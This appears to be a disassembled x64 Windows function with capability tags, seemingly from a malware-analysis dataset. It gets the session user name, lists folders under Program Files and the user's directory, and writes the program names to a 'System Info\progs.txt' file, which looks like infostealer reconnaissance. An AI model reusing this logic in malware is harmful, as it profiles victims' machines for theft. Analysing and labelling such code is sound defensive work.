Function at 0x140071ab0
Capabilities:
Enumerate files on windows
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3c8]
sub rsp, 0x4a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x370], rax
xor r15d, r15d
mov qword [rbp + 0x220], r15
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], r15b
lea r8d, [r15 + 0x15]
lea rdx, str.C:Program_Files__x86_
lea rcx, [rbp + 0x220]
call fcn.1400218a0
nop
mov qword [rbp + 0x240], r15
movdqa xmm0, xmmword [0x1400d4ab0]
movdqa xmmword [rbp + 0x250], xmm0
mov byte [rbp + 0x240], r15b
lea r8d, [r15 + 0xf]
lea rdx, str.C:Program_Files
lea rcx, [rbp + 0x240]
call fcn.1400218a0
nop
mov dword [rbp - 0x78], 0x101
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x260]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r15b
lea rax, [rbp + 0x260]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140071ba0
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x50]
call fcn.1400218a0
nop
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
movabs rsi, 0x7fffffffffffffff
cmp byte [0x1400e8e20], 0
je 0x140071d50
lea rcx, [rbp - 0x70]
call fcn.140057350
nop
lea r8, [0x1400e9280]
cmp qword [0x1400e9298], 0x10
cmovae r8, qword [0x1400e9280]
mov r9, qword [0x1400e9290]
xor edx, edx
mov rcx, rax
call fcn.14002d980
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x16
lea rdx, str._System_Info_progs.txt
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140071cb3
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071cae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722d5
call fcn.140080f50
movups xmmword [rsp + 0x68], xmm6
movups xmmword [rsp + 0x78], xmm7
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140071cfa
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071cf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722db
call fcn.140080f50
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140071ef3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071eee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722c9
jmp 0x140071eee
mov rax, rsi
mov rcx, qword [rbp - 0x40]
sub rax, rcx
cmp rax, 9
jb 0x1400722e1
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, qword [rbp - 0x50]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 9
lea r9, str.C:_Users_
lea r8, [rbp - 0x50]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.14002d660
nop
lea rdx, [0x1400e9220]
cmp qword [0x1400e9238], 0x10
cmovae rdx, qword [0x1400e9220]
mov r8, qword [0x1400e9230]
lea rcx, [rbp - 0x70]
call fcn.140021a00
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x16
lea rdx, str._System_Info_progs.txt
lea rcx, [rsp + 0x48]
call fcn.140021a00
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140071e5e
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071e59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722e7
call fcn.140080f50
movups xmmword [rsp + 0x68], xmm6
movups xmmword [rsp + 0x78], xmm7
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140071ea5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071ea0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722ed
call fcn.140080f50
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140071ef3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071eee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722f3
call fcn.140080f50
mov r14, r15
lea rdi, [rbp + 0x220]
mov r12d, 2
lea r13, vtable.std::ios_base.0
movzx ebx, byte [rsp + 0x40]
lea rdx, [0x1400d06f4]
mov rcx, qword [rdi + 0x10]
mov rax, rsi
sub rax, rcx
cmp rax, 2
jb 0x1400722cf
mov r9, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140071f37
mov r9, qword [rdi]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, bl
lea rcx, [rbp - 0x70]
call fcn.14002d660
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
lea rdx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140072191
nop
test byte [rbp + 0xe0], 0x10
je 0x14007216f
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x10c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140071fb3
lea rdx, [rbp + 0x10c]
lea rcx, [rsp + 0x48]
call fcn.1400218a0
nop
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
cmovae rax, rcx
mov r8, qword [rsp + 0x58]
cmp r8, 1
jne 0x140072008
cmp byte [rax], 0x2e
jne 0x140071ffb
mov eax, r15d
jmp 0x140072000
sbb eax, eax
or eax, 1
test eax, eax
je 0x14007213c
lea rax, [rsp + 0x48]
cmp rdx, 0x10
cmovae rax, rcx
cmp r8, 2
jne 0x140072038
cmp byte [rax], 0x2e
jne 0x14007202b
cmp byte [rax + 1], 0x2e
jne 0x14007202b
mov eax, r15d
jmp 0x140072030
sbb eax, eax
or eax, 1
test eax, eax
je 0x14007213c
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x30]
call fcn.140088260
mov r8d, 8
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x30]
call fcn.14001ce80
nop
cmp qword [rbp + 0x58], 0
je 0x14007209b
lea rdx, str.prog_name:
lea rcx, [rbp - 0x30]
call fcn.140026050
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, rax
call fcn.14002fa00
mov rcx, rax
call fcn.1400262c0
lea rcx, [rbp - 0x28]
call fcn.140020d50
test rax, rax
jne 0x1400720d2
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003a40
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call fcn.14001db60
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x34], edx
mov qword [rbp + 0x78], r13
lea rcx, [rbp + 0x78]
call fcn.1400838c0
nop
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14007216f
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007216a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722f9
call fcn.140080f50
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140071f80
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400721cc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400721c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722ff
call fcn.140080f50
inc r14
add rdi, 0x20
cmp r14, 2
jae 0x1400721e8
movabs rsi, 0x7fffffffffffffff
jmp 0x140071f0f
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140072224
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007221f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072305
call fcn.140080f50
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14007226e
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400722c3
call fcn.140080f50
nop
lea r9, [fcn.14001efc0]
mov r8, r12
mov edx, 0x20
lea rcx, [rbp + 0x220]
call fcn.140080f94
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400996b0
nop
call fcn.1400996b0
int3
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3